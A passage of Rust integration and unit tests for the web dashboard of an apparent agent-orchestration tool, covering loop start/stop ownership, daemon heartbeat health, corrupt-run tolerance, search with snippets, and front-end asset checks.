14934 like the loop's own settle path does"
14935 );
14936 }
14937
14938 #[tokio::test]
14939 async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
14940 let f = Fixture::start().await;
14945 let queue = f.queue();
14946 let runs = f.runs();
14947 write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
14948 write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
14949
14950 let mut task = Task::new(
14951 "closed with nothing actually landed".to_owned(),
14952 "x".to_owned(),
14953 PathBuf::from("/repo/magi"),
14954 Source::Human,
14955 );
14956 task.runs.push("20260101-000000-dob1".to_owned());
14957 task.runs.push("20260101-000000-dob2".to_owned());
14958 queue.put(&mut task).expect("file the task");
14959
14960 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
14961 assert_eq!(done.status, 200, "{}", done.body);
14962
14963 let reloaded_run = read_run(&runs, "20260101-000000-dob1")
14964 .expect("run still on disk under this fixture's own home");
14965 assert_eq!(
14966 reloaded_run.status,
14967 RunStatus::Blocked,
14968 "the last recorded attempt never landed, so the earlier one must not be \
14969 relabelled as superseded by it"
14970 );
14971 }
14972
14973 #[tokio::test]
14974 async fn unknown_ids_are_json_not_found_on_both_stores() {
14975 let f = Fixture::start().await;
14976
14977 let run = f.get("/api/runs/nosuchrun").await;
14978 let task = f.post("/api/queue/nosuchtask/hold", None).await;
14979
14980 assert_eq!(run.status, 404);
14981 assert_eq!(task.status, 404);
14982 assert!(
14983 run.json()["error"]
14984 .as_str()
14985 .is_some_and(|e| e.contains("run")),
14986 "the error names what was not found: {}",
14987 run.body
14988 );
14989 assert!(
14990 task.json()["error"]
14991 .as_str()
14992 .is_some_and(|e| e.contains("task")),
14993 "the error names what was not found: {}",
14994 task.body
14995 );
14996 }
14997
14998 #[tokio::test]
14999 async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
15000 let f = Fixture::start().await;
15001
15002 let missing = f.get("/api/health").await.json();
15003 assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
15004
15005 write_daemon(
15006 f.home.path(),
15007 Timestamp::now() - jiff::SignedDuration::from_secs(60),
15008 );
15009 let stale = f.get("/api/health").await.json();
15010 assert_eq!(
15011 stale["daemon"]["running"], false,
15012 "a minute without a heartbeat is a dead daemon, not a busy one"
15013 );
15014 assert!(
15015 stale["daemon"]["stale_for_secs"]
15016 .as_i64()
15017 .is_some_and(|s| s >= 55),
15018 "staleness is reported so the UI can say how long: {stale}"
15019 );
15020
15021 write_daemon(f.home.path(), Timestamp::now());
15022 let fresh = f.get("/api/health").await.json();
15023 assert_eq!(fresh["daemon"]["running"], true);
15024 assert_eq!(fresh["daemon"]["idle"], false);
15025 assert_eq!(fresh["daemon"]["pid"], 4242);
15026 assert_eq!(fresh["daemon"]["completed"], 7);
15027 assert_eq!(
15028 fresh["daemon"]["current"][0]["task"],
15029 "20260902-140501-aaaa"
15030 );
15031 assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
15032 }
15033
15034 #[tokio::test]
15035 async fn the_loop_is_not_running_until_something_starts_it() {
15036 let f = Fixture::start().await;
15037
15038 let view = f.get("/api/loop").await.json();
15039 assert_eq!(view["running"], false);
15040 assert_eq!(
15041 view["owned"], false,
15042 "nobody owns a loop that does not exist: {view}"
15043 );
15044 assert_eq!(view["stopping"], false);
15045 assert_eq!(view["last_error"], Value::Null);
15046 assert_eq!(view["daemon"]["running"], false);
15047 assert_eq!(
15048 view["repo"], "/repo/magi",
15049 "the repository a start would use, named before it is started"
15050 );
15051 }
15052
15053 #[tokio::test]
15054 async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
15055 let f = Fixture::start().await;
15056
15057 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
15058 assert_eq!(res.status, 200, "{}", res.body);
15059 let view = res.json();
15060 assert_eq!(view["running"], true);
15061 assert_eq!(
15062 view["owned"], true,
15063 "the loop the UI started is the UI's own to stop: {view}"
15064 );
15065 assert_eq!(
15066 view["merge"],
15067 Value::Null,
15068 "no override was given, so each repository's own config decides"
15069 );
15070
15071 let health = f.get("/api/health").await.json();
15075 assert_eq!(health["loop"]["running"], true, "{health}");
15076 assert_eq!(health["loop"]["owned"], true, "{health}");
15077
15078 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
15079 }
15080
15081 #[tokio::test]
15082 async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
15083 let f = Fixture::start().await;
15084 let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
15085 assert_eq!(first.status, 200, "{}", first.body);
15086
15087 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
15088 assert_eq!(
15089 again.status, 409,
15090 "two loops on one queue race for the same claims: {}",
15091 again.body
15092 );
15093 assert!(
15094 again.json()["error"]
15095 .as_str()
15096 .is_some_and(|e| e.contains("already running the loop")),
15097 "the refusal has to say why: {}",
15098 again.body
15099 );
15100 assert_eq!(
15101 f.get("/api/loop").await.json()["running"],
15102 true,
15103 "and the loop that was already running is untouched by it"
15104 );
15105
15106 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
15107 }
15108
15109 #[tokio::test]
15110 async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
15111 let f = Fixture::start().await;
15112 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
15113
15114 let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
15115 assert_eq!(
15116 res.status, 200,
15117 "the answer must not wait for the loop: a run in flight is tens of \
15118 minutes and the operator is holding a phone: {}",
15119 res.body
15120 );
15121
15122 let view = settled(&f, |v| v["running"] == false).await;
15123 assert_eq!(view["owned"], false);
15124 assert_eq!(
15125 view["stopping"], false,
15126 "a loop that has stopped is not still stopping: {view}"
15127 );
15128 assert_eq!(
15129 view["last_error"],
15130 Value::Null,
15131 "a loop that was asked to stop did not fail: {view}"
15132 );
15133
15134 let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
15137 assert_eq!(twice.status, 200, "{}", twice.body);
15138 }
15139
15140 #[tokio::test]
15141 async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
15142 let f = Fixture::start().await;
15143 write_daemon(f.home.path(), Timestamp::now());
15146
15147 let view = f.get("/api/loop").await.json();
15148 assert_eq!(view["running"], false, "not in this process: {view}");
15149 assert_eq!(view["owned"], false, "and not this process's to control");
15150 assert_eq!(
15151 view["daemon"]["running"], true,
15152 "but a loop is alive somewhere, which is what the UI must say"
15153 );
15154 assert_eq!(view["daemon"]["pid"], 4242);
15155
15156 for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
15157 let res = f.post("/api/loop", Some(body)).await;
15158 assert_eq!(
15159 res.status, 409,
15160 "neither button may pretend to work on someone else's loop: {}",
15161 res.body
15162 );
15163 assert!(
15164 res.json()["error"]
15165 .as_str()
15166 .is_some_and(|e| e.contains("4242")),
15167 "the refusal has to name the process the operator must go to: {}",
15168 res.body
15169 );
15170 }
15171 assert_eq!(
15172 f.get("/api/loop").await.json()["running"],
15173 false,
15174 "and the refusal started nothing"
15175 );
15176 }
15177
15178 #[tokio::test]
15179 async fn a_stale_status_file_is_not_a_foreign_owner() {
15180 let f = Fixture::start().await;
15181 write_daemon(
15182 f.home.path(),
15183 Timestamp::now() - jiff::SignedDuration::from_secs(60),
15184 );
15185
15186 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
15187 assert_eq!(
15188 res.status, 200,
15189 "a daemon killed a minute ago must not lock the loop out of its \
15190 own home for good: {}",
15191 res.body
15192 );
15193 assert_eq!(res.json()["running"], true);
15194
15195 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
15196 }
15197
15198 #[tokio::test]
15199 async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
15200 let f = Fixture::start().await;
15201 let before = f.get("/api/health").await.json()["loop_rev"]
15202 .as_u64()
15203 .expect("a loop revision");
15204
15205 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
15206
15207 let after = f.get("/api/health").await.json()["loop_rev"]
15208 .as_u64()
15209 .expect("a loop revision");
15210 assert!(
15211 after > before,
15212 "the loop is in-process state, so this counter is the only thing \
15213 that tells a second device the first one started it: {before} -> \
15214 {after}"
15215 );
15216
15217 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
15218 }
15219
15220 #[tokio::test]
15221 async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
15222 let f = Fixture::with_loop(launch_broken).await;
15223
15224 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
15225 assert_eq!(
15226 res.status, 200,
15227 "starting it is not the failure: {}",
15228 res.body
15229 );
15230
15231 let view = settled(&f, |v| v["last_error"].is_string()).await;
15232 assert_eq!(
15233 view["running"], false,
15234 "a loop that died must not read as running, or the operator has \
15235 nothing to press: {view}"
15236 );
15237 assert_eq!(view["owned"], false);
15238 assert!(
15239 view["last_error"]
15240 .as_str()
15241 .is_some_and(|e| e.contains("read-only file system")),
15242 "the phone is where a loop that died at 3am is visible: {view}"
15243 );
15244
15245 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
15248 assert_eq!(again.status, 200, "{}", again.body);
15249 assert!(
15250 again.json()["last_error"]
15251 .as_str()
15252 .is_none_or(|e| !e.contains("read-only file system")),
15253 "a fresh start does not keep showing why the last one died: {}",
15254 again.body
15255 );
15256 }
15257
15258 #[tokio::test(flavor = "multi_thread", worker_threads = 2)]
15270 async fn the_deck_answers_while_it_parks_and_frees_the_address_first() {
15271 let home = TempDir::new().expect("temp home");
15272 let runs = home.path().join("runs");
15273 std::fs::create_dir_all(&runs).expect("runs dir");
15274 let ui = Ui::new(
15275 Queue::at(home.path().join("queue")),
15276 Questions::at(home.path().join("questions")),
15277 Talks::at(home.path().join("talks")),
15278 runs,
15279 home.path().to_path_buf(),
15280 PathBuf::from("/repo/magi"),
15281 )
15282 .with_worktrees_root(home.path().join("wt"))
15283 .with_launch(launch_knocking_on_the_way_out);
15284 let looping = ui.looping();
15285 let turns = ui.turns();
15286 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
15287 .await
15288 .expect("bind loopback");
15289 let addr = listener.local_addr().expect("local addr");
15290 *PARK_KNOCK.lock().expect("park knock") = Some(addr);
15291 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
15292
15293 let started = request(addr, "POST", "/api/loop", Some(r#"{"running":true}"#)).await;
15294 assert_eq!(started.status, 200, "the loop starts: {}", started.body);
15295
15296 let bound = std::sync::Mutex::new(None);
15311 hand_over(
15312 home.path(),
15313 &looping,
15314 &turns,
15315 &|_: &[String]| Duration::from_secs(5),
15316 served,
15317 |_| {
15318 let deadline = std::time::Instant::now() + std::time::Duration::from_secs(5);
15319 let attempt = loop {
15320 match std::net::TcpListener::bind(addr) {
15321 Ok(l) => {
15322 drop(l);
15323 break Ok(());
15324 }
15325 Err(e)
15326 if e.kind() == std::io::ErrorKind::AddrInUse
15327 && std::time::Instant::now() < deadline =>
15328 {
15329 std::thread::sleep(std::time::Duration::from_millis(10));
15330 }
15331 Err(e) => break Err(e.to_string()),
15332 }
15333 };
15334 *bound.lock().expect("bound") = Some(attempt);
15335 Ok(1)
15336 },
15337 )
15338 .await
15339 .expect("hand over");
15340
15341 assert_eq!(
15342 *PARK_HEARD.lock().expect("park heard"),
15343 Some(200),
15344 "the deck must answer while the loop is parking"
15345 );
15346 let attempt = bound
15347 .lock()
15348 .expect("bound")
15349 .take()
15350 .expect("the successor was started");
15351 assert!(
15352 attempt.is_ok(),
15353 "and the address must be free by the time it is: {attempt:?}"
15354 );
15355 }
15356
15357 #[tokio::test]
15358 async fn a_newer_daemon_status_file_still_renders() {
15359 let f = Fixture::start().await;
15360 std::fs::write(
15363 f.home.path().join("daemon.json"),
15364 serde_json::json!({
15365 "schema": 2,
15366 "updated_at": Timestamp::now().to_string(),
15367 "idle": true,
15368 "surprise": { "nested": [1, 2, 3] },
15369 })
15370 .to_string(),
15371 )
15372 .expect("write daemon.json");
15373
15374 let health = f.get("/api/health").await;
15375
15376 assert_eq!(health.status, 200);
15377 assert_eq!(health.json()["daemon"]["running"], true);
15378 }
15379
15380 #[tokio::test]
15381 async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
15382 let f = Fixture::start().await;
15383 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
15384 let broken = f.runs().join("20260902-140502-bad");
15385 std::fs::create_dir_all(&broken).expect("run dir");
15386 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
15387
15388 let list = f.get("/api/runs").await;
15389 let detail = f.get("/api/runs/20260902-140502-bad").await;
15390
15391 assert_eq!(list.status, 200);
15392 let listed = list.json();
15393 let ids: Vec<&str> = listed
15394 .as_array()
15395 .expect("an array")
15396 .iter()
15397 .map(|r| r["id"].as_str().expect("an id"))
15398 .collect();
15399 assert_eq!(
15400 ids,
15401 vec!["20260902-140501-good"],
15402 "one unreadable run must not cost the operator the whole history"
15403 );
15404 assert_eq!(detail.status, 500);
15405 assert!(
15406 detail.json()["error"]
15407 .as_str()
15408 .is_some_and(|e| e.contains("run.json")),
15409 "the failure names the file to look at: {}",
15410 detail.body
15411 );
15412 let health = f.get("/api/health").await;
15416 assert_eq!(health.json()["runs_unreadable"], 1);
15417 }
15418
15419 #[tokio::test]
15421 async fn search_finds_nested_run_text_ands_terms_and_counts_unreadable() {
15422 let f = Fixture::start().await;
15423 let runs = f.runs();
15424 write_run(&runs, "20260902-140501-aaaa", RunStatus::Merged);
15425 write_run(&runs, "20260902-140502-bbbb", RunStatus::Merged);
15426 let path = runs.join("20260902-140502-bbbb").join("run.json");
15429 let mut v: serde_json::Value =
15430 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
15431 v["legacy"] = serde_json::json!({ "rounds": [{ "finding": { "text": "The Quokka leaks\nacross threads" } }] });
15432 std::fs::write(&path, v.to_string()).unwrap();
15433 std::fs::create_dir_all(runs.join("20260902-140503-cccc")).unwrap();
15434 std::fs::write(
15435 runs.join("20260902-140503-cccc").join("run.json"),
15436 "{ not json",
15437 )
15438 .unwrap();
15439
15440 let res = f.get("/api/search?scope=runs&q=quokka").await;
15441 assert_eq!(res.status, 200, "{}", res.body);
15442 let v = res.json();
15443 assert_eq!(v["total"], 1, "{v}");
15444 assert_eq!(v["hits"][0]["id"], "20260902-140502-bbbb");
15445 assert_eq!(v["hits"][0]["field"], "text");
15446 assert_eq!(v["unreadable"], 1, "an unparsable run is counted: {v}");
15447 let parts = v["hits"][0]["snippet"].as_array().unwrap();
15448 assert!(
15449 parts
15450 .iter()
15451 .any(|p| p["hit"] == true && p["text"] == "Quokka"),
15452 "{v}"
15453 );
15454 let flat: String = parts.iter().map(|p| p["text"].as_str().unwrap()).collect();
15455 assert_eq!(
15456 flat, "The Quokka leaks across threads",
15457 "whitespace is collapsed"
15458 );
15459
15460 let both = f
15462 .get("/api/search?scope=runs&q=MOBILE%20quokka")
15463 .await
15464 .json();
15465 assert_eq!(both["total"], 1, "{both}");
15466 let neither = f
15467 .get("/api/search?scope=runs&q=quokka%20zebra")
15468 .await
15469 .json();
15470 assert_eq!(neither["total"], 0, "{neither}");
15471 let stmt = f
15473 .get("/api/search?scope=runs&q=mobile%20first")
15474 .await
15475 .json();
15476 assert_eq!(stmt["total"], 2, "{stmt}");
15477 let by_id = f.get("/api/search?scope=runs&q=140501-aaaa").await.json();
15478 assert_eq!(by_id["hits"][0]["id"], "20260902-140501-aaaa", "{by_id}");
15479 }
15480
15481 #[test]
15482 fn snippet_ignores_terms_longer_than_the_field() {
15483 let terms = ["ok".to_owned(), "elephant".to_owned()];
15484 let parts = snippet_of("ok", &terms);
15485 assert_eq!(
15486 parts,
15487 vec![SnippetPart {
15488 text: "ok".to_owned(),
15489 hit: true
15490 }]
15491 );
15492 }
15493
15494 #[test]
15495 fn snippet_marks_matches_longer_than_the_window() {
15496 let cap = SNIPPET_BEFORE + SNIPPET_AFTER + 2;
15497 let hit_len = |parts: &[SnippetPart]| -> usize {
15498 parts
15499 .iter()
15500 .filter(|p| p.hit)
15501 .map(|p| p.text.chars().count())
15502 .sum()
15503 };
15504 let total =
15505 |parts: &[SnippetPart]| -> usize { parts.iter().map(|p| p.text.chars().count()).sum() };
15506
15507 let long = "a".repeat(120);
15508 let parts = snippet_of(&long, std::slice::from_ref(&long));
15509 assert!(hit_len(&parts) > 0, "{parts:?}");
15510 assert!(total(&parts) <= cap);
15511
15512 let ja = "あ".repeat(130);
15513 let parts = snippet_of(&ja, std::slice::from_ref(&ja));
15514 assert!(hit_len(&parts) > 0, "{parts:?}");
15515 assert!(total(&parts) <= cap);
15516
15517 let text = format!("ab {} ab{}", "x".repeat(90), "c".repeat(100));
15519 let term = format!("ab{}", "c".repeat(100));
15520 let parts = snippet_of(&text, &["ab ".to_owned(), term]);
15521 assert!(parts.iter().filter(|p| p.hit).count() >= 2, "{parts:?}");
15522 assert!(total(&parts) <= cap);
15523
15524 let text = format!("{}z", "a".repeat(119));
15526 let parts = snippet_of(&text, &["a".repeat(120)]);
15527 assert_eq!(hit_len(&parts), 0, "{parts:?}");
15528 }
15529
15530 #[tokio::test]
15531 async fn search_caps_hits_and_snippet_length() {
15532 let f = Fixture::start().await;
15533 let runs = f.runs();
15534 for n in 0..(SEARCH_MAX_HITS + 5) {
15535 write_run(&runs, &format!("20260902-140501-{n:04}"), RunStatus::Merged);
15536 }
15537 let v = f.get("/api/search?scope=runs&q=web").await.json();
15538 assert_eq!(v["hits"].as_array().unwrap().len(), SEARCH_MAX_HITS);
15539 assert_eq!(v["total"], SEARCH_MAX_HITS + 5);
15540 assert_eq!(v["truncated"], true);
15541 assert!(
15543 v["hits"]
15544 .as_array()
15545 .unwrap()
15546 .iter()
15547 .all(|h| h["run"]["status"] == "merged")
15548 );
15549
15550 let long = format!("{}needle{}", "x".repeat(5000), "y".repeat(5000));
15551 let parts = snippet_of(&long, &["needle".to_owned()]);
15552 let len: usize = parts.iter().map(|p| p.text.chars().count()).sum();
15553 assert!(len <= SNIPPET_BEFORE + SNIPPET_AFTER + 2, "{len}");
15554 assert!(parts.iter().any(|p| p.hit && p.text == "needle"));
15555 }
15556
15557 #[tokio::test]
15558 async fn search_tasks_reads_every_field_and_rejects_bad_requests() {
15559 let f = Fixture::start().await;
15560 let queue = f.queue();
15561 let mut t = Task::new(
15562 "short title".to_owned(),
15563 "line one\nthe hidden Armadillo detail".to_owned(),
15564 PathBuf::from("/repo/magi"),
15565 Source::Agent {
15566 run: "r1".to_owned(),
15567 node: "chat".to_owned(),
15568 },
15569 );
15570 t.last_error = Some("disk full on /tmp".to_owned());
15571 queue.put(&mut t).expect("file the task");
15572
15573 for (q, want) in [
15574 ("armadillo", 1),
15575 ("disk%20FULL", 1),
15576 ("chat", 1),
15577 ("queued", 1),
15578 ("short%20nothing", 0),
15579 ] {
15580 let v = f
15581 .get(&format!("/api/search?scope=tasks&q={q}"))
15582 .await
15583 .json();
15584 assert_eq!(v["total"], want, "{q}: {v}");
15585 }
15586 for bad in [
15587 "/api/search?scope=tasks&q=",
15588 "/api/search?scope=tasks&q=%20",
15589 "/api/search?scope=chats&q=",
15590 "/api/search?scope=chats&q=%20",
15591 "/api/search?scope=nope&q=a",
15592 "/api/search?q=a",
15593 ] {
15594 assert_eq!(f.get(bad).await.status, 400, "{bad}");
15595 }
15596 }
15597
15598 fn write_talk(f: &Fixture, id: &str, status: &str, turns: &[(&str, &str)]) {
15600 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "claude", 1))
15601 .expect("seat value");
15602 let turns: Vec<serde_json::Value> = turns
15603 .iter()
15604 .map(|(who, body)| {
15605 serde_json::json!({"who": who, "body": body, "at": "2026-09-01T00:00:00Z"})
15606 })
15607 .collect();
15608 let doc = serde_json::json!({
15609 "schema": 1, "id": id, "repo": "/SecretRepoPath", "agent": "claude-agent",
15610 "status": status, "turns": turns,
15611 "created_at": "2026-09-01T00:00:00Z", "updated_at": "2026-09-01T00:00:00Z",
15612 "seat": seat,
15613 });
15614 let dir = f.home.path().join("talks");
15615 std::fs::create_dir_all(&dir).expect("talks dir");
15616 std::fs::write(dir.join(format!("{id}.json")), doc.to_string()).expect("write talk");
15617 }
15618
15619 #[tokio::test]
15620 async fn search_chats_reads_title_and_turns_and_counts_unreadable() {
15621 let f = Fixture::start().await;
15622 write_talk(
15623 &f,
15624 "20260901-000001-aaaa",
15625 "open",
15626 &[
15627 (
15628 "operator",
15629 "\n Why does the Pangolin cache expire?\nsecond line",
15630 ),
15631 ("agent", "Because the TTL is thirty seconds."),
15632 ],
15633 );
15634 write_talk(
15635 &f,
15636 "20260901-000002-bbbb",
15637 "closed",
15638 &[("operator", "unrelated"), ("agent", "The Zebra moved on.")],
15639 );
15640 std::fs::write(f.home.path().join("talks/broken.json"), "{ nope").expect("broken");
15641
15642 let search = |q: &'static str| {
15643 let f = &f;
15644 async move {
15645 f.get(&format!("/api/search?scope=chats&q={q}"))
15646 .await
15647 .json()
15648 }
15649 };
15650
15651 let v = search("PANGOLIN").await;
15652 assert_eq!(v["scope"], "chats");
15653 assert_eq!(v["total"], 1, "{v}");
15654 assert_eq!(v["hits"][0]["id"], "20260901-000001-aaaa");
15655 assert_eq!(v["hits"][0]["field"], "title");
15656 assert_eq!(v["unreadable"], 1, "{v}");
15657 let marked: Vec<&str> = v["hits"][0]["snippet"]
15658 .as_array()
15659 .unwrap()
15660 .iter()
15661 .filter(|p| p["hit"] == true)
15662 .map(|p| p["text"].as_str().unwrap())
15663 .collect();
15664 assert_eq!(marked, ["Pangolin"]);
15665
15666 let v = search("zebra").await;
15668 assert_eq!(v["total"], 1, "{v}");
15669 assert_eq!(v["hits"][0]["field"], "agent");
15670 assert_eq!(search("pangolin%20thirty").await["total"], 1);
15672 assert_eq!(search("pangolin%20zebra").await["total"], 0);
15673 for q in ["claude-agent", "SecretRepoPath", "open", "closed"] {
15675 assert_eq!(search(q).await["total"], 0, "{q}");
15676 }
15677 assert_eq!(search("second").await["hits"][0]["field"], "operator");
15679 assert_eq!(search("the").await["hits"][0]["id"], "20260901-000001-aaaa");
15681
15682 let v = f.get("/api/search?scope=nope&q=a").await;
15683 assert_eq!(v.status, 400);
15684 assert!(
15685 v.body.contains("scope must be runs, tasks or chats"),
15686 "{}",
15687 v.body
15688 );
15689 }
15690
15691 #[test]
15692 fn a_question_card_links_a_task_id_to_the_task_page() {
15693 let start = APP_JS
15694 .find("function updateAskCard(")
15695 .expect("updateAskCard exists");
15696 let body = &APP_JS[start..];
15697 let body = &body[..body.find("\n}\n").expect("function end")];
15698 assert!(body.contains("question.run_is_task"));
15699 assert!(body.contains("`#/tasks/${encodeURIComponent(question.run)}`"));
15700 assert!(body.contains("`#/runs/${question.run}`"));
15701 assert!(body.contains("\"task\" : \"run\""));
15702 }
15703
15704 #[test]
15705 fn plain_text_message_surfaces_go_through_linkify() {
15706 assert!(APP_JS.contains("function linkify("));
15707 assert!(!APP_JS.contains("class: \"event-msg\", text:"));
15708 assert!(!APP_JS.contains("class: \"notice-msg\", text:"));
15709 assert!(APP_JS.contains("linkify(el(\"span\", { class: \"event-msg\" })"));
15710 assert!(APP_JS.contains("linkify(el(\"div\", { class: \"notice-msg\" })"));
15711 assert!(!APP_JS.contains("innerHTML = text"));
15712 }
15713
15714 #[test]
15715 fn implementation_rate_views_keep_independent_samples() {
15716 for (competitive_n, solo_n) in [(0, 0), (9, 10), (10, 9)] {
15717 let a = stats::AgentStats {
15718 competitive_entered: competitive_n,
15719 competitive_wins: usize::from(competitive_n > 0),
15720 solo_entered: solo_n,
15721 solo_adopted: 2 * usize::from(solo_n > 0),
15722 ..Default::default()
15723 };
15724 let v = serde_json::to_value(AgentStatsView::from(&a)).unwrap();
15725 for (key, n, numerator) in [
15726 ("competitive_win_rate", competitive_n, a.competitive_wins),
15727 ("solo_adoption_rate", solo_n, a.solo_adopted),
15728 ] {
15729 if n == 0 {
15730 assert!(v[key].is_null());
15731 } else {
15732 assert_eq!(v[key]["denominator"], n);
15733 assert_eq!(v[key]["pct"], 100.0 * numerator as f64 / n as f64);
15734 }
15735 }
15736 }
15737 assert!(APP_JS.contains("rate: a.competitive_win_rate"));
15738 assert!(APP_JS.contains("rate: a.solo_adoption_rate"));
15739 assert!(APP_JS.contains("r.rate.denominator < STATS_LOW_N"));
15740 assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
15741 }
15742
15743 #[test]
15744 fn stats_bars_share_one_id_keyed_plan() {
15745 let start = APP_JS
15746 .find("function statsBarRows(")
15747 .expect("statsBarRows exists");
15748 let body = &APP_JS[start..];
15749 let body = &body[..body.find("\n}\n").expect("function end")];
15750 assert!(body.contains("statsBarPlan(rows)"));
15751 assert!(body.contains("statsAgentTone(row.agent)"));
15752 assert!(!body.contains("candTone(i)"));
15753 assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
15754 for root in [
15755 "stats-agents-bars",
15756 "stats-solo-bars",
15757 "stats-reviewers-bars",
15758 ] {
15759 assert!(APP_JS.contains(&format!("statsBarRows($(\"{root}\")")));
15760 }
15761 }
15762
15763 #[test]
15764 fn the_precision_scatter_is_a_pure_plan_in_the_agents_colour() {
15765 let start = APP_JS
15766 .find("function renderStatsReviewerScatter(")
15767 .expect("renderStatsReviewerScatter exists");
15768 let body = &APP_JS[start..];
15769 let body = &body[..body.find("\n}\n").expect("function end")];
15770 assert!(body.contains("statsScatterPlan(reviewers)"));
15771 assert!(body.contains("statsAgentTone(d.agent)"));
15772 assert!(APP_JS.contains("function statsScatterPlan("));
15773 assert!(
15774 APP_JS.contains("d.submitted < STATS_LOW_N")
15775 || APP_JS.contains("r.submitted < STATS_LOW_N")
15776 );
15777 assert!(INDEX_HTML.contains("id=\"stats-reviewers-scatter\""));
15778 assert!(APP_CSS.contains(".precision-scatter"));
15779 }
15780
15781 #[test]
15782 fn advisor_reflection_is_drawn_as_stacked_segments() {
15783 assert!(APP_JS.contains("statsReflectionRows($(\"stats-advisors-bars\")"));
15784 assert!(APP_JS.contains("const STATS_SEG_MIN = 4;"));
15785 let html = include_str!("../assets/ui/index.html");
15786 assert!(html.contains("Approximate"));
15787 for label in ["reflected strongly", "faint", "no proposal"] {
15788 assert!(html.contains(label));
15789 }
15790 let css = include_str!("../assets/ui/app.css");
15791 for c in ["refl-strong", "refl-faint", "refl-absent"] {
15792 assert!(css.contains(&format!(".{c} {{")));
15793 }
15794 }
15795
15796 #[test]
15797 fn stats_daily_chart_is_planned_purely_and_rendered_from_the_api() {
15798 assert!(APP_JS.contains("function statsDailyPlan("));
15799 assert!(APP_JS.contains("renderStatsDaily(s.daily)"));
15800 assert!(INDEX_HTML.contains("id=\"stats-daily\""));
15801 }
15802
15803 #[test]
15804 fn a_keystroke_invalidates_the_search_reply_still_in_flight() {
15805 let start = APP_JS
15806 .find("function scheduleSearch(")
15807 .expect("scheduleSearch exists");
15808 let body = &APP_JS[start..];
15809 let body = &body[..body.find("\n}\n").expect("function end")];
15810 assert!(body.contains("s.seq += 1"));
15811 }
15812
15813 #[tokio::test]
15818 async fn stats_runs_unreadable_matches_health() {
15819 let f = Fixture::start().await;
15820 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
15821 let broken = f.runs().join("20260902-140502-bad");
15822 std::fs::create_dir_all(&broken).expect("run dir");
15823 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
15824
15825 let stats = f.get("/api/stats").await;
15826 let health = f.get("/api/health").await;
15827
15828 assert_eq!(stats.status, 200);
15829 assert_eq!(stats.json()["totals"]["runs"], 1);
15830 assert_eq!(stats.json()["runs_unreadable"], 1);
15831 assert_eq!(
15832 stats.json()["runs_unreadable"],
15833 health.json()["runs_unreadable"],
15834 "the dashboard and /api/health must never disagree about how many \
15835 runs could not be read"
15836 );
15837 }
15838
15839 #[tokio::test]
15840 async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
15841 let f = Fixture::start().await;
15842 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
15843 write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
15844 write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
15845
15846 let totals = &f.get("/api/stats").await.json()["totals"];
15847 assert_eq!(totals["runs"], 3);
15848 assert_eq!(totals["merged"], 1);
15849 assert_eq!(totals["stalled"], 1);
15850 assert_eq!(totals["in_progress"], 1);
15851 assert_eq!(totals["blocked"], 0);
15854 assert_eq!(totals["ready"], 0);
15855 }
15856
15857 #[tokio::test]
15858 async fn stats_advisors_report_proposals_and_reflection() {
15859 use crate::advise::{Advice, AdvisorRecord, Reflection};
15860 use crate::verdict::Proposal;
15861
15862 let f = Fixture::start().await;
15863 let mut state = RunState::new(
15864 PathBuf::from("/repo/magi"),
15865 "main".to_owned(),
15866 "0123456789abcdef".to_owned(),
15867 "task".to_owned(),
15868 Config::default(),
15869 );
15870 state.id = "20260902-140501-a".to_owned();
15871 state.status = RunStatus::Merged;
15872 state.advice = Some(Advice {
15873 records: vec![
15874 AdvisorRecord {
15875 seat: "advisor-1".to_owned(),
15876 agent: "alpha".to_owned(),
15877 proposal: Some(Proposal {
15878 approach: "do it".to_owned(),
15879 key_tradeoff: "speed over memory".to_owned(),
15880 risks: Vec::new(),
15881 touches: Vec::new(),
15882 why_not_naive: "breaks under load".to_owned(),
15883 }),
15884 error: None,
15885 duration_ms: 0,
15886 reflection: Reflection::Strong,
15887 },
15888 AdvisorRecord {
15889 seat: "advisor-2".to_owned(),
15890 agent: "alpha".to_owned(),
15891 proposal: None,
15892 error: Some("timed out".to_owned()),
15893 duration_ms: 0,
15894 reflection: Reflection::Absent,
15895 },
15896 ],
